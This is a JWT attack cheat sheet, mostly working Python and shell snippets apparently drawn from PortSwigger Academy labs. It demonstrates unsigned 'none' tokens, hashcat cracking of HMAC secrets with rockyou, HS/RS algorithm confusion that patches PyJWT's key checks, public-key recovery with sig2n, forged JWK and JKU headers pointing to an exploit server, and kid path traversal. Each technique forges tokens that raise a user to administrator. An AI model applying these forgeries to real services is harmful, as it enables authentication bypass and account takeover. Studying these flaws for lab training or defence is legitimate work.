Json Web Token


JWT With Python

Usefull python3 JWT libraries
python3 -m pip install --upgrade pyjwt[crypto] Authlib

READ JWT

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg"\
| jq -R 'split(".") | .[0,1] | @base64d | fromjson'

# {
#   "alg": "HS256",
#   "typ": "JWT"
# }
# {
#   "some": "payload"
# }

NONE Algorithm

import jwt
payload = {'user': 'value'}
token = jwt.encode(payload, key=None, algorithm=None)
print(token)

# eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoidmFsdWUifQ.
# {"typ": "JWT", "alg": "none"}{'user': 'value'}

HMAC SHA512 Cracking

# Put JWT in a file
echo "eyJraWQiOiI2NDNlYTVhMy1kY2JmLTRhNDAtODkzYS0yYTliNTI3ZDNiZTUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2MDY1NjA5OH0.S0o9u2K26z0C6edZT0QirPPBcgY7pBi8hYACGW29k60">jwt.txt

# Crack with Wordlist
hashcat -a0 -m 16500 jwt.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt --potfile-path=potfile.txt

# Crack with Bruteforce
hashcat -a3 -m 16500 jwt.txt --potfile-path=potfile.txt
import jwt
payload = {'user': 'value'}
password = 'secret1'
print(jwt.encode(payload, password, algorithm='HS256'))

# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VyIjoidmFsdWUifQ.KM5d456Dfj9X_Uuch4faQUADvDofZ4Y1Lktsa6MTJgnaeEkhJ1F1E9ecgbLHkp69zeDmKdqlur0M4zSwJ0YG0A
# {'typ': 'JWT', 'alg': 'HS512'}{'user': 'value'}

HMAC SHA & RSA Confusion

Server generate JWT signed with private key.
When the client come back the server use public key to check JWT signature validity.
HMAC SHA & RSA Confusion attack aims to force server to use public key as a classic string secret (HS) instead of pub/priv calculations (RS).
import jwt
payload = {'user': 'value'}

# Remove security verifications in prepare_key function in order to force HS/RS Confusion
def prepare_key(self, key): return key

jwt.algorithms.HMACAlgorithm.prepare_key = prepare_key

# Use public key as password
password = "[...]PUBKEY[...]".encode()

print(jwt.encode(payload, password, algorithm='HS512'))

Here is another exemple from burp academy where public key is extracted from JWKS exponent and modulus values.
Default JWT:
echo 'eyJraWQiOiJhY2E4MzdiMS1lNWI0LTQyZjgtOWRjYi1jNDFlNDE0YTU1M2EiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MDYwNDg4MX0.V-rC_v4UEOqE0UWCRSAGY4FK9gQ7_auvEWSut0GuAdp4zWgYU60brGwSnBXrGkds7OceuTE8MzfjiNsCOBrTpyHPhvoN3_-7T3YaIU4A58dWKcM3nTQOOsxRLD4Sw_BYg0bSIDQDzSqHY2qfaBdiHmuQNFRa9-zKqhpD471tkkHcuIPcJYad2H_-dh9WovCiqVcVZxgjXRI_bo_sS-uOVZcqDep6rv24EH43LR1ZMDjkEqsbLhRZzVFKdEAYv8jEM099P7c6ek-96ygOeeoCNrHYnusg4jxukfLmblWjp-6tO0wA0YR-hKU4aRf2iiDGgVGbGGmPHM4Ju305XLnA8A'\
|python -c 'import sys,jwt;t=str(sys.stdin.readlines());h=jwt.get_unverified_header(t);p=jwt.decode(t, options={"verify_signature": 0});print(f"{h}{p}")'
{'kid': 'aca837b1-e5b4-42f8-9dcb-c41e414a553a', 'alg': 'RS256'}{'iss': 'portswigger', 'sub': 'wiener', 'exp': 1670604881}
JWKS is retrieved from “/jwks.json” endpoint
curl https://0a28007b046cefa6c0f3f5cc00ae00d8.web-security-academy.net/jwks.json
{"keys":[{"kty":"RSA","e":"AQAB","use":"sig","kid":"aca837b1-e5b4-42f8-9dcb-c41e414a553a","alg":"RS256","n":"xFP5wDBH-htDufnLWKEpUgnEec6nfPSYiE1kFSTI2AykU8frafeoucqE3WmD4YpI3O1IgAxU0w-wSspiJvpVivxJ6KzEsqNZr8q5fn98OfqBe3y8GEpPjY-wC3iZPyrv78WWJCoYkbZGN0W7tCBwp8mXbErf95_OFXmB330sNAnPA-SdtWMfogjVEj9J5TX69xqfuNqD9i-wNdEmJcZ66VJDfsHAas_lIkNhxQeYXJPODPie9cU4o0Q6JTbVEXUndlQE8RbeACA0dXaoUIuCpRCUJZFMDkGghtF0oXusryCljUoxjRtMQ5_SbYXlDXpNs_qWD35JHj8zmie4Nvpm1Q"}]}
We need to install pycryptodome pip package in order to construct public key
pip install pycryptodome
import jwt
from Crypto.PublicKey import RSA
from base64 import urlsafe_b64decode

# Set exposant and modulus from jwks.json
e="AQAB"
n="xFP5wDBH-htDufnLWKEpUgnEec6nfPSYiE1kFSTI2AykU8frafeoucqE3WmD4YpI3O1IgAxU0w-wSspiJvpVivxJ6KzEsqNZr8q5fn98OfqBe3y8GEpPjY-wC3iZPyrv78WWJCoYkbZGN0W7tCBwp8mXbErf95_OFXmB330sNAnPA-SdtWMfogjVEj9J5TX69xqfuNqD9i-wNdEmJcZ66VJDfsHAas_lIkNhxQeYXJPODPie9cU4o0Q6JTbVEXUndlQE8RbeACA0dXaoUIuCpRCUJZFMDkGghtF0oXusryCljUoxjRtMQ5_SbYXlDXpNs_qWD35JHj8zmie4Nvpm1Q"

# Change wiener to administrator and change RS(pub/priv) to HS(secret) algorithm, keep others values from default JWT
payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670604881}
headers={'kid': 'aca837b1-e5b4-42f8-9dcb-c41e414a553a', 'alg': 'HS256'}

e = int.from_bytes(urlsafe_b64decode(e),"big")
n = int.from_bytes(urlsafe_b64decode(n+'=='),"big")

# Construct a `RSAobj` with only ( n, e ), thus with only PublicKey
password = RSA.construct((n, e)).publickey().exportKey()
password = password + b"\n" # If distant key have a final cariage return

def prepare_key(self, key): return key

# Remove security verifications in prepare_key function in order to force HS/RS Confusion
jwt.algorithms.HMACAlgorithm.prepare_key = prepare_key

print(jwt.encode(payload, password, algorithm='HS256', headers=headers))

# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImFjYTgzN2IxLWU1YjQtNDJmOC05ZGNiLWM0MWU0MTRhNTUzYSJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzA2MDQ4ODF9.VD6dHqGa_OQ-ZEbA8zKArHCC40A9xz4cbwVSssEkXkA
# {'typ': 'JWT', 'alg': 'HS256', 'kid': 'aca837b1-e5b4-42f8-9dcb-c41e414a553a'}{'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670604881}

HMAC SHA & RSA Confusion w.o. pubkey

If public key isn’t available, we can brute-force public key from 2 given token
Default JWT:
echo 'eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MDg0MjcxM30.JW_X2BZGZEk8Sq7Y51NzJgqBuZCRqkpSiUpdlQ2-YKfdjAqrO1R1QYUgHKTdjr9FEivETgr0hxUUX4nWvFPHe3zUiWTHxIbDkE75O0avzt5roi80XEwljaqO-88NU1j3kmCqFeYB7x1p2zdQOAOkXahK5zV0qXQgyXDDK4HPSJftxnBwEljAr0hCp2QxW2y7___deXcc30fGmLn79Ry_qh14TlY_PB-l9p2u4RqLh5k0woS3dedWWwvfN5eTs6ghcEfUkf-FpaC1De3C7hKGooiyTLCrbdzXfHCIREormts8mdE-G6vvjiJBXT0yHfA0BCBFt5pVe3sc7nd7WH8MHQ'\
|python -c 'import sys,jwt;t=str(sys.stdin.readlines());h=jwt.get_unverified_header(t);p=jwt.decode(t, options={"verify_signature": 0});print(f"{h}{p}")'
{'kid': 'b44ed48a-0aa3-4c00-8b00-b7b4c5ca35a8', 'alg': 'RS256'}{'iss': 'portswigger', 'sub': 'wiener', 'exp': 1670842713}

Retrieve two JWT and brute-force public key with “sig2n” from portswigger,
this tool then generate a Tampered JWT using public key as secret key:
docker pull portswigger/sig2n
docker run --rm -it portswigger/sig2n \
eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MDg0MjcxM30.JW_X2BZGZEk8Sq7Y51NzJgqBuZCRqkpSiUpdlQ2-YKfdjAqrO1R1QYUgHKTdjr9FEivETgr0hxUUX4nWvFPHe3zUiWTHxIbDkE75O0avzt5roi80XEwljaqO-88NU1j3kmCqFeYB7x1p2zdQOAOkXahK5zV0qXQgyXDDK4HPSJftxnBwEljAr0hCp2QxW2y7___deXcc30fGmLn79Ry_qh14TlY_PB-l9p2u4RqLh5k0woS3dedWWwvfN5eTs6ghcEfUkf-FpaC1De3C7hKGooiyTLCrbdzXfHCIREormts8mdE-G6vvjiJBXT0yHfA0BCBFt5pVe3sc7nd7WH8MHQ \
eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MDg0Mjg4MH0.I2tgWeLRww74r7SDgILexOvfxTJT20Mos0aB_seI0uMlB2YDYumhngiKv-wCL7ZO0DOGszNN1nEnWtPHdVKc_TNyr8TjWrcFJuocW7Dr2u3d0tZUH0MK4ZI6ezWOR7c-Xnfte8kXP2pIDQuccHk0cd4RSJUWvfy5ylR7LOMD0c1q746YDv932KF-aXSmsCNA5K-BythVMlh8ZFO7IPp85xGzg_vW_IJqoacZGvJkDfNhbPgutPoX244-Unf1o9DdyuVocrgu4KawZgyPB9pH3qWMb8hCnR2igDXcJbboQvl1qdah5-dmeh_CRAy7xag8VAZI5hJ79IYcLqzuZ6qE3Q

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwWFR3TStVSmZYNkhibFUwV2FBeQp2ZGdERmEwRW5SMjZwd1dhNVVIaURhbEFtWSsyZ21yQ0xGWms1VXVrZkNMTFlNMldPcFRvRk1lVnFTQjkzTHZoCkVIQ080WHpYay9wSTI5bGhGNlcvbiszdU54d0NZbldBWUdvNDhobkNzOW84YXJWcndpR2M4ZFl5N2hhRVlsRUkKc0ZjL0VyOEFjREdkb29idXl6a2ZhOWl1Q2RKY0lvZmxFc25lenhuVnJGYmdMQnUrOTRLQjZsVk93bVdLbnNBdApFS3RjOUNnVUNnTUFZdzdoeHFlbExrZHYyeHpKV2lidzhYYTlidk9FMXdMMEpYUS90MUV0VGhIY3RldFlaTVdKCjhvRTFVZzBySXFvSVBmd3hGWUpsMnNNTzBJc2hCZnAxRTFTY0tmNXZCeldySHNTVjVhMVR5MUdGcWZhWkJDWjEKbFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjcwOTI1ODgyfQ.MChfhdxaUAvKVq3bEfQLVzT0D8Q-zU0ieM3IKBOo6Dw
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXBYVHdNK1VKZlg2SGJsVTBXYUF5dmRnREZhMEVuUjI2cHdXYTVVSGlEYWxBbVkrMmdtckMKTEZaazVVdWtmQ0xMWU0yV09wVG9GTWVWcVNCOTNMdmhFSENPNFh6WGsvcEkyOWxoRjZXL24rM3VOeHdDWW5XQQpZR280OGhuQ3M5bzhhclZyd2lHYzhkWXk3aGFFWWxFSXNGYy9FcjhBY0RHZG9vYnV5emtmYTlpdUNkSmNJb2ZsCkVzbmV6eG5WckZiZ0xCdSs5NEtCNmxWT3dtV0tuc0F0RUt0YzlDZ1VDZ01BWXc3aHhxZWxMa2R2Mnh6SldpYncKOFhhOWJ2T0Uxd0wwSlhRL3QxRXRUaEhjdGV0WVpNV0o4b0UxVWcwcklxb0lQZnd4RllKbDJzTU8wSXNoQmZwMQpFMVNjS2Y1dkJ6V3JIc1NWNWExVHkxR0ZxZmFaQkNaMWxRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjcwOTI1ODgyfQ.-NmKalFMQklj533SE3J2tFXKD-M_E6INr3pk4PpwUlY

Replace default JWT with Tampered JWT, and it works !
Notice that Tampered JWT have HS256(secret) algorithm instead of RS256(pub/priv):
echo 'eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjcwOTI1ODgyfQ.MChfhdxaUAvKVq3bEfQLVzT0D8Q-zU0ieM3IKBOo6Dw'\
|python -c 'import sys,jwt;t=str(sys.stdin.readlines());h=jwt.get_unverified_header(t);p=jwt.decode(t, options={"verify_signature": 0});print(f"{h}{p}")'
{'kid': 'b44ed48a-0aa3-4c00-8b00-b7b4c5ca35a8', 'alg': 'HS256'}{'iss': 'portswigger', 'sub': 'wiener', 'exp': 1670925882}

We now need to change user from wiener to administrator
import jwt
import base64

# Change wiener to administrator, set algorithm to HS256, keep others values from default JWT
payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670925882}
headers={'kid': 'b44ed48a-0aa3-4c00-8b00-b7b4c5ca35a8', 'alg': 'HS256'}

# Insert brute-forced public key
x509pubkey = "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwWFR3TStVSmZYNkhibFUwV2FBeQp2ZGdERmEwRW5SMjZwd1dhNVVIaURhbEFtWSsyZ21yQ0xGWms1VXVrZkNMTFlNMldPcFRvRk1lVnFTQjkzTHZoCkVIQ080WHpYay9wSTI5bGhGNlcvbiszdU54d0NZbldBWUdvNDhobkNzOW84YXJWcndpR2M4ZFl5N2hhRVlsRUkKc0ZjL0VyOEFjREdkb29idXl6a2ZhOWl1Q2RKY0lvZmxFc25lenhuVnJGYmdMQnUrOTRLQjZsVk93bVdLbnNBdApFS3RjOUNnVUNnTUFZdzdoeHFlbExrZHYyeHpKV2lidzhYYTlidk9FMXdMMEpYUS90MUV0VGhIY3RldFlaTVdKCjhvRTFVZzBySXFvSVBmd3hGWUpsMnNNTzBJc2hCZnAxRTFTY0tmNXZCeldySHNTVjVhMVR5MUdGcWZhWkJDWjEKbFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="

password = base64.b64decode(x509pubkey)

def prepare_key(self, key): return key

# Remove security verifications in prepare_key function in order to force HS/RS Confusion
jwt.algorithms.HMACAlgorithm.prepare_key = prepare_key

print(jwt.encode(payload, password, algorithm='HS256', headers=headers))

# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImI0NGVkNDhhLTBhYTMtNGMwMC04YjAwLWI3YjRjNWNhMzVhOCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzA5MjU4ODJ9.X_S2BGzRQJnl0mx_RN0GbWxL9Fyfdeq-TdlWeYbWwLU
# {'typ': 'JWT', 'alg': 'HS256', 'kid': 'b44ed48a-0aa3-4c00-8b00-b7b4c5ca35a8'}{'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670925882}

Self-signed JWT: JWK header

Happens when server allow JWK header as verification key, but doesn’t check if the provided key comes from a trusted source
We need Authlib “jose” for JWK support
pip install Authlib
from authlib.jose import JsonWebKey, jwt
from Crypto.PublicKey import RSA

# Change wiener to administrator, remove kid header, keep others values from default JWT
payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670861679}
headers={'alg': 'RS256'}

# Generate new RSA key
rsa = RSA.generate(2048)
pub = rsa.publickey().export_key('PEM') # Export public key as PEM
priv = rsa.export_key('PEM') # Export private key as PEM
jwk = JsonWebKey.import_key(pub, {'kty': 'RSA'}).as_dict() # Encode public key in JWK
headers["jwk"] = jwk # Set JWK header

encoded = jwt.encode(headers, payload, priv) # Generate JWT

# eyJhbGciOiJSUzI1NiIsImp3ayI6eyJuIjoiM0d4c2w1dnp3M2h2UVlZazcxS1JCM2NZa1pYYWs2WTZNR2VqeWJXd2xhX20wVWVPZnlXX2RaVlFLemZac05vZGtJWmV1NHdqUU1CUlJhYVo3REZyaldSNkczRm8teU1CajFHSDlZQkZtSTZfZ3ZiNEJwaUt5dFBjd1pyN3hqOHB3MnAwREFrMjZVSW5COTc0Yk9vZFYxc2taQTdZOWIzbDdUQVRoS1AyMEExa3FFdXYzdHNwRXNzU21aRm1keU9QbDRFZHhySkNPSkJUVmUwM3g1bmRsR1dTNWVuMlJuTWwxeW1mOVhIV3NfSVhtOWEtODNBbWlaSVpsUGtkSmtXM3VWZEZNRGlnYjE2VWRuV2E0WTM4WlR0THNJZ2FZUG00T3B0cWpnOWxDWmVmY3hQdHBZcFl1WGlSbV9OcDh4c1oxYUNuak9fV1FhY1ZGSkw0Ml9lbUx3IiwiZSI6IkFRQUIiLCJrdHkiOiJSU0EiLCJraWQiOiJuMkpXek5mNUVNakhwTk01UGhpbUdmTXRuUFBWejVxcEZlZ29ZajhqSkRnIn0sInR5cCI6IkpXVCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzA4NjE2Nzl9.rY8ahRUzWu0mD4_6eG6TOuS2qm8d4bwhM6z-q2D1O_U7rVdNlzWd21ZtBOe6TxvHyfmTpLkjXBERqdLwVPuMaHRtztxhVPB45tTBF-aJ8n8lZ6Fq03TcUPYzojvhAgnoyTvN3RcVrZ75CRF3PuJU6XX1trQ6L67_YYMQahfp-NJaHxSKRWB8FOQFMPL6yxbJDdiWobRXZfaIi45v9Qxq2Py4q4z19tlXm4TfPoxlDbA15Cf-xdXr7MIfcKgMx0gT5iSouDBlBRK6z_9IZtY0oSQ3jq4bivo9d3sQbUbGDGW7v2n01OpoH8GKAztJq4u6msNyg14fQwiwZvIwEaNTxQ
# {'alg': 'RS256', 'jwk': {'n': '3Gxsl5vzw3hvQYYk71KRB3cYkZXak6Y6MGejybWwla_m0UeOfyW_dZVQKzfZsNodkIZeu4wjQMBRRaaZ7DFrjWR6G3Fo-yMBj1GH9YBFmI6_gvb4BpiKytPcwZr7xj8pw2p0DAk26UInB974bOodV1skZA7Y9b3l7TAThKP20A1kqEuv3tspEssSmZFmdyOPl4EdxrJCOJBTVe03x5ndlGWS5en2RnMl1ymf9XHWs_IXm9a-83AmiZIZlPkdJkW3uVdFMDigb16UdnWa4Y38ZTtLsIgaYPm4Optqjg9lCZefcxPtpYpYuXiRm_Np8xsZ1aCnjO_WQacVFJL42_emLw', 'e': 'AQAB', 'kty': 'RSA', 'kid': 'n2JWzNf5EMjHpNM5PhimGfMtnPPVz5qpFegoYj8jJDg'}, 'typ': 'JWT'}{'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670861679}

Self-signed JWT: JKU header

JKU (JWK Set URL) header define URL that offer JWK public keys.
In this case the server doesn’t check if the provided key comes from a trusted source
from authlib.jose import JsonWebKey, jwt
from Crypto.PublicKey import RSA
import json

# Change wiener to administrator, remove kid header, replace JKU and keep others values from default JWT
payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1671025577}
headers = {'alg': 'RS256', 'jku': 'https://exploit-0aa9006b049bc424c0bfd5cd01c3007b.exploit-server.net/exploit'}

# Generate new RSA key
rsa = RSA.generate(2048)
pub = rsa.publickey().export_key('PEM') # Export public key as PEM
priv = rsa.export_key('PEM') # Export private key as PEM
jwk = JsonWebKey.import_key(pub, {'kty': 'RSA'}).as_dict()

jku_keys = {"keys":[jwk]}
print(json.dumps(jku_keys, sort_keys=True, indent=2)) # Print JWK to store on server

print(jwt.encode(headers, payload, priv).decode()) # Generate JWT
# eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYWE5MDA2YjA0OWJjNDI0YzBiZmQ1Y2QwMWMzMDA3Yi5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzEwMjU1Nzd9.Y6B-f9shXColZYCpzEUHE0tZC0ycB8osFbCH8JfWMLpCdtStU3qLwzp8fm_S21U9E7NQvcAEaPqJmInDOEP1Uh-MIneJ5-u4s-9YGZQAH_2HyMEsP-G5UDMDSdmi_6wBJkRn9RdyKP6JD4dslEhanS7zjaXGrg7rLCFZei7yQFL5-CcyQOxgXvnIP9jGpPplmZkg4OViN5SSLJHI9SrvYYiVZ4uyYdMxZJHjDc0lm9zO5K-FdUh2DPjb5LQ6u66OE94V357OWHtN_DtiiX0tUjJkWzS2lvH70f28_lMmSrlQAy5AB543Q0LFYZhEnFrXlTUc8gFuXlQaC3bg_FFW8A
# {'alg': 'RS256', 'jku': 'https://exploit-0aa9006b049bc424c0bfd5cd01c3007b.exploit-server.net/exploit', 'typ': 'JWT'}{'iss': 'portswigger', 'sub': 'administrator', 'exp': 1671025577}
{
  "keys": [
    {
      "e": "AQAB",
      "kid": "9VSJycA-d13Jma_q3sZjvIdNQr3oNsCc_rJ56HU9aew",
      "kty": "RSA",
      "n": "xlqqc3mGT88NofDTPLYXhVJ8WpZBhIGYoE1JLQCArMWbfZKJPGbKHJesK7UGGiXIRgoBNfvR-AXg9SSoKcNm2q3ZSQFK5WF8mksxaFU8_I-UBM512OpKuwqsOk3S5s__Zf3Omop8gBJGB9OGAzE0IcugL29ggXQ2bsyZ4rdI9NP6RTZLI0_QpKJeUMyl8-GM-6IXHfshuxpXJ4p3Zobj3z4r3I80C2B8vjr3LqhcPLxAbt1fWTBi5PT8bTRz7VU_y4AxGGwylP5sca6LovV4fPuBXDZVAAJ97iaVfedwtmqvbnLsAxhF3qG8e-5OcpJ-uEEALOs1RfGPv7pdhlw-lQ"
    }
  ]
}

KID PATH TRAVERSAL

KID (key ID) can refer to a file on server.
Knowing the content of a distant file, we can use it as a key, such as /dev/null
import jwt
headers={"kid": "../../../../../../../dev/null"}
payload = {'user': 'value'}
password = '' # Null
print(jwt.encode(payload, password, algorithm='HS256', headers=headers))
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJ1c2VyIjoidmFsdWUifQ.OmijRO-me1htjkgwhGRbxn2j6dt8T4sZBTpO3Ms9GqI
# {'typ': 'JWT', 'alg': 'HS256', 'kid': '../../../../../../../dev/null'}{'user': 'value'}